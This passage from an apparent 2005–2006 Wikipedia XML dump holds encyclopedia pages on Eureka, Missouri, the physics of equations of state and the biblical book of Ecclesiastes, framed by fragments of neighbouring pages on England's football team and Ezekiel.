[[et:Inglismaa jalgpallikoondis]]
[[es:Selección nacional de fútbol de Inglaterra]]
[[fr:Équipe d'Angleterre de football]]
[[gl:Selección nacional de fútbol de Inglaterra]]
[[he:נבחרת אנגליה בכדורגל]]
[[hu:Angol labdarúgó-válogatott]]
[[nl:Engels voetbalelftal]]
[[no:Englands herrelandslag i fotball]]
[[pl:Reprezentacja Anglii w piłce nożnej]]
[[pt:Seleção Inglesa de Futebol]]
[[sv:Englands herrlandslag i fotboll]]
[[zh:英格兰足球代表队]]</text>
    </revision>
  </page>
  <page>
    <title>Eureka, Missouri</title>
    <id>9907</id>
    <revision>
      <id>28010109</id>
      <timestamp>2005-11-11T08:51:19Z</timestamp>
      <contributor>
        <username>Mithridates</username>
        <id>293296</id>
      </contributor>
      <comment>+ido</comment>
      <text xml:space="preserve">[[Image:MOMap-doton-Eureka.png|right|Location of Eureka, Missouri]]

'''Eureka''' is a city located in [[St. Louis County, Missouri]], between [[Saint Louis, Missouri|Saint Louis]] and [[Pacific, Missouri|Pacific]] along [[Interstate 44]].  As of the [[United States 2000 Census|2000 census]], the city had a total population of 7,676. 

It is two miles west of the former site of [[Times Beach, Missouri|Times Beach]], the site of [[dioxin]] contamination discovered in the [[1980s]]; the area was cleaned up and became [[Route 66 State Park]].

Since [[1970]], Eureka is best known in the region as the home of the [[amusement park]] formerly known as Six Flags Over Mid-America and now called [[Six Flags Saint Louis]].

Local news coverage for the town and some of its neighbors is provided by the ''[[Tri County Journal]]'' and the ''[[Washington Missourian]]''.

== History ==
The village of Eureka was platted in [[1858]] along the route of the [[Missouri Pacific Railroad]].  By [[1890]], the village consisted of about 100 homes.  

In 1898, Eureka became home to the St. Louis Children's Industrial Farm, established to give children from St. Louis [[tenement]] neighborhoods a chance to experience life in a rural setting.  It later became known as Camp Wyman, now a part of [[Wyman Center]], and [[as of 2004]] is one of the oldest camps in the United States.

Eureka was incorporated as a fourth-class city on [[April 7]], [[1954]].  

The nearby railroad town of Allenton, older than Eureka, was annexed by Eureka in [[1985]].  Allenton and other parts of Eureka have become part of a $500 million redevelopment plan proposed by a partnership including The Jones Company and American Heritage Homes.  The redevelopment proposal would include land and homes purchased by Eureka as part of a previously proposed redevelopment plan.

== Geography ==
Eureka is located at 38&amp;deg;30'10&quot; North, 90&amp;deg;38'42&quot; West (38.502736, -90.645075){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 26.2 [[square kilometre|km&amp;sup2;]] (10.1 [[square mile|mi&amp;sup2;]]).  26.0 km&amp;sup2; (10.1 mi&amp;sup2;) of it is land and 0.2 km&amp;sup2; (0.1 mi&amp;sup2;) of it is water.  The total area is 0.59% water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 7,676 people in the city, organized into 2,487 households and 2,064 families.  Its [[population density]] is 294.9/km&amp;sup2; (763.7/mi&amp;sup2;).  There are 2,622 housing units at an average density of 100.7/km&amp;sup2; (260.9/mi&amp;sup2;).  The racial makeup of the city is 97.38% [[White (U.S. Census)|White]], 0.82% [[Asian (U.S. Census)|Asian]], 0.57% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.20% [[Native American (U.S. Census)|Native American]], no Pacific Islanders, 0.26% from [[Race (U.S. Census)|other races]], and 0.77% from two or more races.  1.22% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 2,487 households out of which half have children under the age of 18 living with them, 71.6% are [[Marriage|married couples]] living together, 8.2% have a female householder with no husband present, and 17.0% are non-families. 13.8% of all households are made up of individuals and 4.3% have someone living alone who is 65 years of age or older.  The average household size is 2.98 and the average family size is 3.30.

In the city the population is spread out with 31.9% under the age of 18, 5.7% from 18 to 24, 34.4% from 25 to 44, 19.5% from 45 to 64, and 8.5% who are 65 years of age or older.  The median age is 34 years.  For every 100 females there are 94.9 males.  For every 100 females age 18 and over, there are 89.6 males.

The median income for a household in the city is $74,301, and the median income for a family is $80,625. Males have a median income of $51,799 versus $33,269 for females. The per-capita income for the city is $27,553.  2.2% of the population and 1.3% of families are below the [[poverty line]].  Out of the total population, 3.1% of those under the age of 18 and 5.9% of those 65 and older are living below the poverty line.

== External links ==
*[http://www.eureka.mo.us/ City of Eureka's website]
*[http://www.efpd.org/ Eureka Fire Protection District Website]
*[http://www.eurekachamber.us/ Eureka website]  for its [[Chamber of commerce|Chamber of Commerce]]
*[http://www.sixflags.com/parks/stlouis/ Six Flags St. Louis]
*[http://www.wymancenter.org/kcwsum.htm Camp Wyman]

{{Mapit-US-cityscale|38.502736|-90.645075}}

[[Category:Cities in Missouri]]
[[Category:St. Louis County, Missouri]]
[[Category:Communities on U.S. Highway 66]]

[[io:Eureka, Missouri]]</text>
    </revision>
  </page>
  <page>
    <title>Equation of state</title>
    <id>9908</id>
    <revision>
      <id>41614952</id>
      <timestamp>2006-02-28T15:04:15Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>factor of 1000, header capitalization, other capitalization, parallelism</comment>
      <text xml:space="preserve">In [[physics]] and [[thermodynamics]], an '''equation of state''' is a [[constitutive equation]] describing the state of matter under a given set of physical conditions. It provides a mathematical relationship between two or more [[state function]]s associated with the matter, such as its [[temperature]], [[pressure]], [[volume]], or [[internal energy]]. Equations of state are useful in describing the properties of [[fluid]]s, mixtures of fluids, [[solid]]s, and even the interior of [[star]]s.

The most prominent use of an equation of state is to predict the state of gases and liquids. One of the simplest equations of state for this purpose is the [[ideal gas law]], which is roughly accurate for gases at low pressures and high temperatures. However, this equation becomes increasingly inaccurate at higher pressures and lower temperatures, and fails to predict condensation from a gas to a liquid. Therefore, a number of much more accurate equations of state have been developed for gases and liquids. At present, there is no single equation of state that accurately predicts the properties of all substances under all conditions.

In addition to predicting the behavior of gases and liquids, there are also equations of state for predicting the volume of [[solid]]s, including the transition of solids from one crystalline state to another. There are equations that model the interior of [[star]]s, including [[neutron star]]s. A related concept is the [[perfect fluid]] [[equation of state (cosmology)|equation of state used in cosmology]].

== Examples of equations of state ==

In the following equations the variables are defined as follows, any consistent set of units can be used although [[SI]] units are preferred:

:''P'' = pressure
:''V'' = volume
:''n'' = number of moles of a substance
:''V&lt;sub&gt;m&lt;/sub&gt;'' = ''V''/''n'' = '''[[molar volume]]''', the volume of 1 mole of gas or liquid
:''T'' = temperature (K)
:''R'' = [[gas constant|ideal gas constant]] (8.314472 J/(mol·K))

=== Classical [[ideal gas law]] ===

The classical ideal gas law may be written:

:&lt;math&gt;PV = nRT\,&lt;/math&gt;

The ideal gas law may also be expressed as follows

:&lt;math&gt; P=\rho (\gamma-1) e\,&lt;/math&gt;

where &lt;math&gt;\rho&lt;/math&gt;  is the density, &lt;math&gt;\gamma&lt;/math&gt; the adiabatic index, and ''e'' the internal energy.  This form is purely in terms of intensive quantities and is useful when simulating the [[Euler equations]] because it
expresses the relationship between internal energy and other forms of energy (such as kinetic), thus allowing simulations to obey the First Law.

=== [[Van der Waals equation]] of state ===

:&lt;math&gt;\left(P + \frac{a}{V_m^2}\right)\left(V_m-b\right) = RT&lt;/math&gt;, note that ''V&lt;sub&gt;m&lt;/sub&gt;'' is molar volume.

Where a, b and R are constants that depend on the specific material. They can be calculated from the [[critical properties]] as:

:&lt;math&gt;a = 3P_c V_c^2&lt;/math&gt;
:&lt;math&gt;b = \frac{V_c}{3}&lt;/math&gt;
:&lt;math&gt;R = \frac{8P_c V_c}{3T_c}&lt;/math&gt;

Proposed in 1873, the van der Waals equation of state was one of the first to perform markedly better than the ideal gas law. In this landmark equation ''a'' is called the attraction parameter and ''b'' the repulsion parameter or the effective molecular volume. While the equation is definitely superior to the ideal gas law and does predict the formation of a liquid phase, the agreement with experimental data is limited for conditions where the liquid forms. While the van der Waals equation is commonly referenced in text-books and papers for historical reasons, it is now obsolete. Other modern equations of only slightly greater complexity are much more accurate.

Van der Waals equation may be considered as the ideal gas law, &quot;improved&quot; due to two independent reasons:
# Molecules are thought as particles with volume, not material points. Thus ''V'' cannot be too little, less than some constant. So we get (''V'' - ''b'') instead of ''V''.
# While ideal gas molecules do not interact,  we consider molecules attracting others within a distance of several molecules' radii. It makes no effect inside material, but surface molecules attract to inside. We see this as diminishing of pressure on the outer shell (which is used in the ideal gas law), so we write (''P'' + something) instead of ''P''. To evaluate this 'something', let's examine addition force acting on an element of gas surface. While force acting on each surface molecule is ~&lt;math&gt;\rho&lt;/math&gt;, the force acting on the whole element is ~&lt;math&gt;\rho^2&lt;/math&gt;~&lt;math&gt;\frac{1}{V_m^2}&lt;/math&gt;

=== The virial equation of state ===

:&lt;math&gt;\frac{PV_m}{RT} = 1 + \frac{B}{V_m} + \frac{C}{V_m^2} + \frac{D}{V_m^3} + \dots&lt;/math&gt;

:&lt;math&gt;B = -V_c \,&lt;/math&gt;
:&lt;math&gt;C = \frac{V_c^2}{3}&lt;/math&gt;
:&lt;math&gt;R = \frac{P_c V_c}{T_c}&lt;/math&gt;

Although usually not the most convenient equation of state, the virial equation is important because it can be derived directly from [[statistical mechanics]]. If appropriate assumptions are made about the mathematical form of intermolecular forces, theoretical expressions can be developed for each of the coefficients. In this case ''B'' corresponds to interactions between pairs of molecules, ''C'' to triplets, and so on.

=== Redlich-Kwong equation of state ===

:&lt;math&gt;P = \frac{RT}{V_m-b} - \frac{a}{\sqrt{T}V_m\left(V_m+b\right)}&lt;/math&gt;

:&lt;math&gt;a = \frac{0.42748R^2T_c^{2.5}}{P_c}&lt;/math&gt;
:&lt;math&gt;b = \frac{0.08664RT_c}{P_c}&lt;/math&gt;
:''R'' = ideal gas constant (8.31451 J/(mol·K))

Introduced in 1949 the Redlich-Kwong equation of state was a considerable improvement over other equations of the time. It is still of interest primarily due to its relatively simple form. While superior to the van der Waals equation of state, it performs poorly with respect to the liquid phase and thus cannot be used for accurately calculating vapor-liquid equilibria. However, it can be used in conjunction with separate liquid-phase correlations for this purpose.

The Redlich-Kwong equation is adequate for calculation of gas phase properties when the ratio of the pressure to the [[critical properties|critical pressure]] is less than about one-half of the ratio of the temperature to the [[critical properties|critical temperature]].

=== The Soave equation of state===

:&lt;math&gt;P = \frac{RT}{V_m-b} - \frac{a\alpha}{V_m\left(V_m+b\right)}&lt;/math&gt;

:''R'' = ideal gas constant (8.31451 J/(mol·K))
:&lt;math&gt;a = \frac{0.42747R^2T_c^2}{P_c}&lt;/math&gt;
:&lt;math&gt;b = \frac{0.08664RT_c}{P_c}&lt;/math&gt;
:&lt;math&gt;\alpha = \left(1 + \left(0.48508 + 1.55171\omega - 0.15613\omega^2\right) \left(1-T_r^{0.5}\right)\right)^2&lt;/math&gt;

:&lt;math&gt;T_r = \frac{T}{T_c}&lt;/math&gt;

Where &amp;omega; is the [[acentric factor]] for the species.

for hydrogen:

:&lt;math&gt;\alpha = 1.202 \exp\left(-0.30288T_r\right)&lt;/math&gt;

In 1972 Soave replaced the ''a''/&amp;radic;(''T'') term of the Redlich-Kwong equation with a function &amp;alpha;(T,&amp;omega;) involving the temperature and the [[acentric factor]]. The &amp;alpha; function was devised to fit the vapor pressure data of hydrocarbons and the equation does fairly well for these materials.

=== The Peng-Robinson equation of state ===

:&lt;math&gt;P=\frac{RT}{V_m-b} - \frac{a\alpha}{V_m^2+2bV_m-b^2}&lt;/math&gt;

:''R'' = ideal gas constant (8.31451 J/(mol·K))
:&lt;math&gt;a = \frac{0.45724R^2T_c^2}{P_c}&lt;/math&gt;
:&lt;math&gt;b = \frac{0.07780RT_c}{P_c}&lt;/math&gt;
:&lt;math&gt;\alpha = \left(1 + \left(0.37464 + 1.54226\omega - 0.26992\omega^2\right) \left(1-T_r^{0.5}\right)\right)^2&lt;/math&gt;

:&lt;math&gt;T_r = \frac{T}{T_c}&lt;/math&gt;

Where &amp;omega; is the [[acentric factor]] for the species.

The Peng-Robinson equation was developed in 1976 in order to satisfy the following goals:
# The parameters should be expressible in terms of the [[critical properties]] and the [[acentric factor]].
# The model should provide reasonable accuracy near the critical point, particularly for calculations of the [[Compressibility factor]] and liquid density.
# The mixing rules should not employ more than a single binary interaction parameter, which should be independent of temperature pressure and composition.
# The equation should be applicable to all calculations of all fluid properties in natural gas processes.

For the most part the Peng-Robinson equation exhibits performance similar to the Soave equation, although it is generally superior in predicting the liquid densities of many materials, especially nonpolar ones.

=== The BWRS equation of state ===
{{main|Benedict-Webb-Rubin}}
:&lt;math&gt;P=\rho RT + \left(B_0 RT-A_0 - \frac{C_0}{T^2} + \frac{D_0}{T^3} - \frac{E_0}{T^4}\right) \rho^2 + \left(bRT-a-\frac{d}{T}\right) \rho^3 + \alpha\left(a+\frac{d}{T}\right) \rho^6 + \frac{c\rho^3}{T^2}\left(1 + \gamma\rho^2\right)\exp\left(-\gamma\rho^2\right)&lt;/math&gt;

:''&amp;rho;'' = the molar density

Values of the various parameters for 15 substances can be found in: 

K.E. Starling, ''Fluid Properties for Light Petroleum Systems.'' Gulf Publishing Company (1973).

===Elliott, Suresh, Donohue===

The Elliott, Suresh, and Donohue (ESD) equation of state (EOS) was proposed in 1990.  The equation seeks to correct a shortcoming in the Peng-Robinson EOS in that there was an inaccuracy in the van der Waals repulsive term.  The EOS accounts for the effect of the shape of a non-polar molecule and can be extended to polymers with the addition of an extra term (not shown).  The EOS itself was developed through modeling computer simulations and should capture the essential physics of the size, shape, and hydrogen bonding.

&lt;math&gt;\frac{PV_m}{RT}=Z=1+\frac{4\left\langle c\eta\right\rangle}{1-1.9\eta}-\frac{9.5\left\langle qY\eta\right\rangle}{1+1.7745\left\langle Y\eta\right\rangle}&lt;/math&gt;

Where:
:''c'' = a &quot;`shape factor&quot;'
:&lt;math&gt;\eta=b\rho&lt;/math&gt;
:&lt;math&gt;q=1+1.90476(c-1)&lt;/math&gt;
:&lt;math&gt;Y=\exp(\frac{\epsilon}{kT})-1.0617&lt;/math&gt;

Reference: Elliott &amp; Lira, ''Introductory Chemical Engineering Thermodynamics,'' 1999, Prentice Hall.

===Stiffened equation of state===

When considering water under very high pressures (typical applications are underwater nuclear explosions, sonic shock lithotripsy, and [[sonoluminescence]]) the stiffened equation of state is often used:

:&lt;math&gt; p=\rho(\gamma-1)e-\gamma p^0 \,&lt;/math&gt;

where &lt;math&gt;e&lt;/math&gt; is the internal energy per unit mass, &lt;math&gt;\gamma&lt;/math&gt; is an empirically determined constant typically taken to be about 6.1, and &lt;math&gt;p^0&lt;/math&gt; is another constant, representing the molecular attraction between water molecules.  The magnitude of the correction is about 2 gigapascals (20000 atmospheres).

The equation is stated in this form because the speed of sound in water is given by &lt;math&gt;c^2=\gamma(p+p^0)/\rho&lt;/math&gt;.

Thus water behaves as though it is an ideal gas that is ''already'' under about 20000 atmospheres (2 GPa) pressure, and explains why water is commonly assumed to be incompressible: when the external pressure changes from 1 atmosphere to 2 atmospheres (100 kPa to 200 kPa), the water behaves as an ideal gas would do when changing from 20001 to 20002 atmospheres (200.01 MPa to 201.02 MPa).

This equation mispredicts the [[specific heat capacity]] of water but few alternatives are available for severely nonisentropic processes such as strong shocks.

=== Ultrarelativistic equation of state===

An [[ultrarelativistic fluid]] has equation of state
:&lt;math&gt;
p=c_s^2\mu&lt;/math&gt;
where &lt;math&gt;p&lt;/math&gt; is the pressure, &lt;math&gt;\mu&lt;/math&gt; is the energy density, and &lt;math&gt;c_s&lt;/math&gt; is a constant referred to as the sound speed.

=== Ideal Bose equation of state===

The equation of state for an ideal [[Bose gas]] is 

:&lt;math&gt;PV_m=RT~\frac{\textrm{Li}_{\alpha+1}(z)}{\zeta(\alpha)}
\left(\frac{T}{T_c}\right)^\alpha&lt;/math&gt;

where &amp;alpha; is an exponent specific to the system (e.g. in the absence of a potential field,
&amp;alpha;=3/2), ''z'' is exp(''&amp;mu;''/''kT'') where ''&amp;mu;'' is the [[chemical potential]], Li is the 
[[polylogarithm]], &amp;zeta; is the [[Riemann zeta function]], and ''T''&lt;sub&gt;''c''&lt;/sub&gt; is the
critical temperature at which a [[Bose-Einstein condensate]] begins to form.

=== [[Birch-Murnaghan equation of state]] ([[1944]]) ===

== History ==

=== [[Boyle's law]] ([[1662]]) ===

Boyle's Law was perhaps the first expression of an equation of state.  In 1662 [[Robert Boyle]], an Irishman, performed a series of experiments employing a J-shaped glass tube, which was sealed on one end. [[Mercury (element)|Mercury]] was added to the tube, trapping a fixed quantity of air in the short, sealed end of the tube.  Then the volume of gas was carefully measured as additional mercury was added to the tube.  The pressure of the gas could be determined by the difference between the mercury level in the short end of the tube and that in the long, open end.  Through these experiments, Boyle noted that the gas volume varied inversely with the pressure. In mathematical form, this can be stated as:

:''PV'' = constant &lt;!--this V doesn't have to be molar volume--&gt;

The above relationship has also been attributed to [[Edme Mariotte]] and is sometimes referred to as '''Mariotte's law'''.  However, Mariotte's work was not published until [[1676]].

=== Charles's law or [[Law of Charles and Gay-Lussac]] ([[1787]]) ===

In 1787 the French physicist [[Jacques Charles]] found that oxygen, nitrogen, hydrogen, carbon dioxide, and air expand to the same extent over the same 80 kelvin interval.  Later, in [[1802]], [[Joseph Louis Gay-Lussac]] published results of similar experiments, indicating a linear relationship between volume and temperature:

:''V''&lt;sub&gt;1&lt;/sub&gt;/''T''&lt;sub&gt;1&lt;/sub&gt; = ''V''&lt;sub&gt;2&lt;/sub&gt;/''T''&lt;sub&gt;2&lt;/sub&gt;

=== [[Dalton's law]] of partial pressures (1801) ===

=== The [[ideal gas law]] ([[1834]]) ===

In 1834 [[Émile Clapeyron]] combined Boyle's Law and Charles' law into the first statement of the ''ideal gas law''.  Initially the law was formulated as ''PV&lt;sub&gt;m&lt;/sub&gt;''=''R''(''T&lt;sub&gt;C&lt;/sub&gt;''+267) (with temperature expressed in degrees Celsius). However, later work revealed that the number should actually be 273.2, and then the Celsius scale was defined with 0 °C = 273.15 K, giving:

:''PV&lt;sub&gt;m&lt;/sub&gt;''=''R''(''T&lt;sub&gt;C&lt;/sub&gt;''+273.15)

=== [[Amagat's law]] ([[1880]]) ===

[[Category:Thermodynamics]]
[[Category:Fluid mechanics]]
[[Category:Equations]]

[[de:Zustandsgleichung]]
[[es:Ecuación de estado]]
[[ja:状態方程式]]
[[pl:Równania stanu]]
[[pt:Equação de estado]]
[[ru:Уравнение состояния]]
[[sl:Enačba stanja]]</text>
    </revision>
  </page>
  <page>
    <title>Ecclesiastes</title>
    <id>9910</id>
    <revision>
      <id>41365514</id>
      <timestamp>2006-02-26T21:57:40Z</timestamp>
      <contributor>
        <username>Nicholasink</username>
        <id>259150</id>
      </contributor>
      <minor />
      <comment>changes Wikisource link to English</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Ketuvim}}
'''Ecclesiastes''', '''''Kohelet''''' in [[Hebrew language|Hebrew]], is a book of the [[Hebrew Bible]].  The title derives from the [[Greek language|Greek]] translation of the [[Hebrew language|Hebrew]] title: &amp;#1511;&amp;#1492;&amp;#1500;&amp;#1514; (variously transliterated as ''Qoheleth'', ''Qohelethh'', ''Kohelet'', ''Koheleth'', or even ''Coheleth'').

The author represents himself as the son of [[David]], and king over Israel in [[Jerusalem]] (1:1, 12, 16; 2:7, 9). The work consists of personal or autobiographic matter, largely expressed in aphorisms and maxims illuminated in terse paragraphs with reflections on the meaning of life and the best way of life. There is a long discourse on death.

==&quot;Kohelet&quot; and &quot;Ecclesiastes&quot;==
The [[Hebrew language|Hebrew]] &amp;#1511;&amp;#1492;&amp;#1500;&amp;#1514; is related to the root &amp;#1511;&amp;#1492;&amp;#1500; meaning &quot;to gather.&quot; Thus the nominal form &amp;#1511;&amp;#1492;&amp;#1500; means &quot;gathering, congregation.&quot; The Hebrew &amp;#1511;&amp;#1492;&amp;#1500;&amp;#1514; is probably a title (rather than a name) referring to one who gathers something. That something, given the context, is probably either [[aphorism]]s or a group of people for the purposes of instruction in wisdom.

The [[English language|English]] title of the book, ''Ecclesiastes,'' comes from the [[Septuagint]] translation of ''Qoholet,'' &amp;#917;&amp;#954;&amp;#954;&amp;#955;&amp;#951;&amp;#963;&amp;#953;&amp;#945;&amp;#963;&amp;#964;&amp;#942;&amp;#962;. It has its origins in the [[Greek language|Greek]] word &amp;#917;&amp;#954;&amp;#954;&amp;#955;&amp;#951;&amp;#963;&amp;#943;&amp;#945; (originally a secular gathering, although later used primarily of religious gatherings, hence its New Testament translation as ''church'').

The word Qoheleth has found several translations into English, including &quot;the [[Preacher]]&quot; (translating [[Jerome]]'s ''ecclesiastes'' and [[Luther]]'s ''der Prediger''). Since ''preacher'' implies a religious function, and the contents of the book do not reflect such a function, this translation has largely been rejected by modern translations and scholars. A better alternative is ''teacher'', although this also fails to capture the fundamental idea behind the [[Hebrew language|Hebrew]].
[[Image:Ecclesiastes.png|thumb|165px|left|Ecclesiastes]] 
==Author==
In the two opening chapters the author describes himself as the son of David, and king over Israel in Jerusalem, presenting himself as a philosopher at the center of a brilliant court. This could apply only to king [[Solomon]], for his successors in Jerusalem were kings over Judah only. Consequently, the traditional Rabbinic and early Christian view attributed ''Ecclesiastes''  to king [[Solomon]]. This view has been abandoned by many modern critical scholars, who now assume that Qoheleth is a work in the [[pseudepigraphy|pseudepigraphical]] tradition that borrowed weight for a new work by putting it in the mouth of a well-known sage. The modern critical view is that ''Ecclesiastes'' was written around [[250 BC]] by a non-[[Hellenized]] intellectual in the milieu of the [[Second Temple|Temple in Jerusalem]]. The latest possible date for it is set by the fact that [[Ben Sirach]] (written cca [[180 BC]]) repeatedly quotes or paraphrases it, as from a canonic rather than a contemporary writing.  

Yet many modern conservative scholars today also recognize that [[Solomon]] is an unlikely author. Since this work is found within the [[Ketuvim]], there must be some room for poetical treatment.  There are two voices in the book, the frame-narrator (1.1-11; 12.8-14) and Qoheleth (1.12-12.8).  Though this is not considered to be indicative of two authors, it does encourage the reader to place himself within the frame and see the pursuit of Wisdom from the perspective of [[Solomon]].  Thus, the author is probably a Hebrew poet who is using the life of [[Solomon]] as a vista for the Hebrews' pursuit of Wisdom (Ecc 1.13, 7.25 8.16; Job 28.12).  This would place the book in the latter days of the canonical writings (see [[Josephus]]' claim for a closed cannon in the early post exilic age Against Apion 1.38-42) when wisdom seemed out of reach to the Hebrews (Ecc 1.17, 7.23; Pro 30.1-3)

==Language==
The Hebrew of Ecclesiastes was not common in the era of Solomon’s reign, and the book contains words borrowed from other languages. For example, the book contains several Aramaic and Persian words. The influence of these two languages is characteristic of late Hebrew, and is thought to have occurred after Jerusalem was taken captive by Babylonian forces in 587 BC. However, the use of these languages could also be a reference by the author to the language skills Solomon would have accumulated through his development of international trade and industry, as well as from traveling dignitaries and other contacts with the outside world (1 Kings 4:30, 34; 9:26-28; 10:1, 23, 24).

==Dating ''Ecclesiastes''&lt;!--this material needs to be worked into a coherent statement--&gt;==
Dominic Rudman, ''Determinism in the Book of Ecclesiastes'' (JSOTSup. 316; Sheffield: Sheffield Academic Press, 2001, p. 13) cites the modern commentaries supporting this dating. 
* Dominic Rudman. &quot;A Note on Dating of Ecclesiastes&quot;. ''Catholic Biblical Quarterly'' vol. 61 no. 1 (1999)  pp. 47-53 contains a discussion with C. L. Seow, &quot;Linguistic Evidence and the Dating of Qohelet.&quot; in ''JBL'' vol. 115 (1996), pp. 653-54 - Seow supports a 4th century dating. 

&quot;Most current commentators e.g., R. N. Whybray, Ecclesiastes [NCB Commentary; Grand Rapids: Eerdmans; London: Marshall, Morgan &amp; Scott, 1989] 4-12) argue for a mid-to-late-third-century date. Others, among them N. Lohfink (Kohelet [NEchtB; Wurzburg: Echter Verlag, 1980] 7) and C. E Whitley (Koheleth: His Language and Thought [BZAW 148; Berlin/ New York: de Gruyter, 1979] 132-46), have suggested an early- or mid-second-century background.&quot;

==Placement in canon==
The book of Ecclesiastes uses the expression ''haelohim'', &quot;the God&quot;, 32 times. Clarke’s &lt;I&gt;Commentary&lt;/I&gt;, Volume III, page 799, states: ''The book, entitled Koheleth, or Ecclesiastes, has ever been received, both by the Jewish and Christian Church, as written under the inspiration of the Almighty; and was held to be properly a part of the sacred canon.''

Ecclesiastes also appears in harmony with other Scriptures where they treat the same subjects. It agrees with Genesis on man’s being made up of a body composed of the dust of the ground and having the ''spirit'' (or life-force) from God and the breath that sustains it (Ecclesiastes 3:20, 21; 12:7; Genesis 2:7; 7:22; Isaiah 42:5). Ecclesiastes also affirms the Bible teaching that man was created perfect and upright but willfully chose to disobey God (Ecclesiastes 7:29; Genesis 1:31; 3:17; Deuteronomy 32:4, 5). Ecclesiastes also acknowledges God as the Creator (Ecclesiastes 12:1; Genesis 1:1). Also, Ecclesiastes concurs with the rest of the Hebrew Bible as to the state of the dead (Ecclesiastes 9:5, 10; Genesis 3:19; Psalms 6:5; 115:17).

==&quot;Vanity&quot;==
Qoheleth's stated aim is to find out how to ensure one benefits in life, an aim in accord with the general purposes of Wisdom Literature. For Qoheleth, however, any possible advantage in life is destroyed by the inevitability of death. As such, Qoheleth concludes that life (and everything) is senseless. In light of this conclusion, Qoheleth advises his audience to make the most of life, to seize the day, for there is no way to secure favorable outcomes in the future. Although this latter conclusion has sometimes been compared to [[Epicureanism]], for Qoheleth it comes about as the inevitable result of his failure to make sense of existence.

This conclusion is reflected in the refrain which both opens and closes Qoheleth's words:
:''&quot;Utterly senseless&quot; says Qoheleth, &quot;Utterly senseless, everything is senseless!&quot;''

The word translated ''senseless'', &amp;#1492;&amp;#1489;&amp;#1500; (''hebel''), literally means ''vapor, breath''. Qoheleth uses it metaphorically, and its precise meaning is extensively debated. Older English translation often render it ''vanity'', but in modern usage this word has come to mean &quot;self-pride&quot; and lost its Latinate connotation of emptiness and is thus no longer appropriate. Other translations include ''meaningless'', ''absurd'', ''fleeting'' or ''senseless''. Some translations use the literal rendering ''vapor of vapors'' and so claim to leave the interpretation to the reader.

Ultimately, the author of Ecclesiates comes to this conclusion in the second to last verse of the last chapter:
:''&quot;The end of the matter; all has been heard. Fear God, and keep his commandments; for that is the whole duty of everyone.&quot;''

==Readings==
* Few certain allusions to &quot;Ecclesiastes&quot; arise in the [[New Testament]]. [[Epistle to the Romans|Romans]] 8:20 is the most commonly cited allusion: &quot;For the creation was subjected to futility...&quot; (where ''futility'' renders the Greek word used in the [[Septuagint]] to render the Hebrew ''hebel'' as discussed above.
* The poem about times in ''Eccl.'' 3:1-8 is also well known as the inspiration for the [[Pete Seeger]] song, &quot;[[Turn, Turn, Turn]]&quot;, recorded by [[The Byrds]].
* In [[Ray Bradbury]]'s 1953 novel, [[Fahrenheit 451]], the [[protagonist]], [[Guy Montag]], represents the back-up copy of the Book of Ecclesiastes for the Book People.
* The protagonist in [[Roger Zelazny]]'s 1963 [[Hugo award]]-nominated [[short story]] ''A Rose for Ecclesiastes'' uses quotations from Ecclesiastes to great emotional effect.
* In [[John Updike]]'s novel, ''[[Rabbit, Run]]'', Ecclesiastes is alluded to in the character of the minister, Reverend Eccles.
* [[The House of Mirth]] is a 1905 novel by [[Edith Wharton]]. The title is taken from Ecclesiastes 7:4: &quot;The heart of the wise is in the house of mourning; but the heart of fools is in the house of mirth.”
* The title of [[Ernest Hemingway]]'s The Sun also Rises is taken from Ecclesiastes 1:5: &quot;The sun also ariseth, and the sun goeth down, and hasteth to the place where he arose...&quot;

==See also==
* [[Bible]]
* [[Tanakh]]

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15779 Kohelet - Ecclesiastes - Job (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/21_ecclesiastes.htm ''Ecclesiastes'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Ecclesiastes}}
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Ecclesiastes ''Ecclesiastes'' at Wikisource] (Authorised King James Version)


Related articles:
*[http://www.jewishencyclopedia.com/view.jsp?artid=26&amp;letter=E ''Jewish Encyclopedia''] Ecclesiastes (Kohelet)
*[http://www.plymouthbrethren.org/page.asp?page_id=164 Ecclesiastes An Overview - William MacDonald]
*[http://www.biblaridion-online.net/zine-online/zine06q1/bibzine06q1_p3.html ''Biblaridion magazine'':] The ''Sitz im Leben'' of Ecclesiastes - authored by Uzziah
*[http://plymouthbrethren.org/series.asp?series_id=54 Commentary on Ecclesiastes by F.C. Jennings]
*[http://librivox.org/ecclesiastes-asv-book-21-of-the-holy-scriptures/ Free audiobook of &quot;Ecclesiastes (ASV) — Book 21 of the Holy Scriptures&quot;] from [http://librivox.org/ LibriVox]
[[Category:Ketuvim]]
[[Category:Old Testament books]]

[[bg:Еклисиаст]]
[[de:Kohelet (Buch)]]
[[es:Eclesiastés]]
[[fa:جامعة بن داود]]
[[fr:Ecclésiaste]]
[[ko:전도서]]
[[id:Pengkhotbah]]
[[it:Qoelet]]
[[he:מגילת קהלת]]
[[jv:Juru Kotbah]]
[[nl:Prediker (boek)]]
[[ja:コヘレトの言葉]]
[[no:Forkynneren]]
[[pl:Księga Koheleta]]
[[ru:Книга Екклесиаста]]
[[fi:Saarnaajan kirja]]
[[sv:Predikaren]]
[[zh:傳道書]]</text>
    </revision>
  </page>
  <page>
    <title>Ezekiel</title>
    <id>9911</id>
    <revision>
      <id>41928764</id>
      <timestamp>2006-03-02T18:10:07Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.33.9.125|71.33.9.125]] ([[User talk:71.33.9.125|talk]]) to last version by Alphax</comment>
      <text xml:space="preserve">:''This article is about the prophet Ezekiel. See also the ''[[Book of Ezekiel]]'', concerned with the text. For other meanings, see [[Ezekiel (disambiguation)]]''.

